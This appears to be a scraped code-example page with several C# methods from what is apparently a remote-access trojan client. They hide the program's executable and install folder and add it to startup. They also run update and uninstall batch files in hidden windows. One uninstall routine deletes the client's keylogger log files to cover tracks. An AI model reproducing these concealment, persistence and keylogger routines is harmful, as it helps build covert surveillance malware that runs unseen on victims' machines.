public void Update(string newFilePath)
        {
            FileHelper.DeleteZoneIdentifier(newFilePath);

            var bytes = File.ReadAllBytes(newFilePath);

            if (!FileHelper.HasExecutableIdentifier(bytes))
            {
                throw new Exception("No executable file.");
            }

            string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);

            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                WindowStyle     = ProcessWindowStyle.Hidden,
                UseShellExecute = true,
                FileName        = batchFile
            };

            Process.Start(startInfo);

            if (Settings.STARTUP)
            {
                var clientStartup = new ClientStartup();
                clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
            }
        }
        public void ApplySettings()
        {
            if (Settings.STARTUP)
            {
                var clientStartup = new ClientStartup();
                clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
            }

            if (Settings.INSTALL && Settings.HIDEFILE)
            {
                try
                {
                    File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
                }
                catch (Exception ex)
                {
                    Debug.WriteLine(ex);
                }
            }

            if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
            {
                try
                {
                    DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
                    di.Attributes |= FileAttributes.Hidden;
                }
                catch (Exception ex)
                {
                    Debug.WriteLine(ex);
                }
            }
        }
Exemple #3
0
        public void Uninstall()
        {
            if (Settings.STARTUP)
            {
                var clientStartup = new ClientStartup();
                clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
            }

            string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);

            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                WindowStyle     = ProcessWindowStyle.Hidden,
                UseShellExecute = true,
                FileName        = batchFile
            };

            Process.Start(startInfo);
        }
Exemple #4
0
        public void Uninstall()
        {
            if (Settings.STARTUP)
            {
                var clientStartup = new ClientStartup();
                clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
            }

            if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH))
            {
                // this must match the keylogger log files
                Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$");

                foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly)
                         .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList())
                {
                    try
                    {
                        File.Delete(logFile);
                    }
                    catch (Exception)
                    {
                        // no important exception
                    }
                }
            }

            string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath);

            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                WindowStyle     = ProcessWindowStyle.Hidden,
                UseShellExecute = true,
                FileName        = batchFile
            };

            Process.Start(startInfo);
        }
Exemple #5
0
        public void Uninstall()
        {
            if (Settings.STARTUP)
            {
                var clientStartup = new ClientStartup();
                clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
            }

            string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);

            if (string.IsNullOrEmpty(batchFile))
            {
                throw new Exception("Could not create uninstall-batch file.");
            }

            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                WindowStyle     = ProcessWindowStyle.Hidden,
                UseShellExecute = true,
                FileName        = batchFile
            };

            Process.Start(startInfo);
        }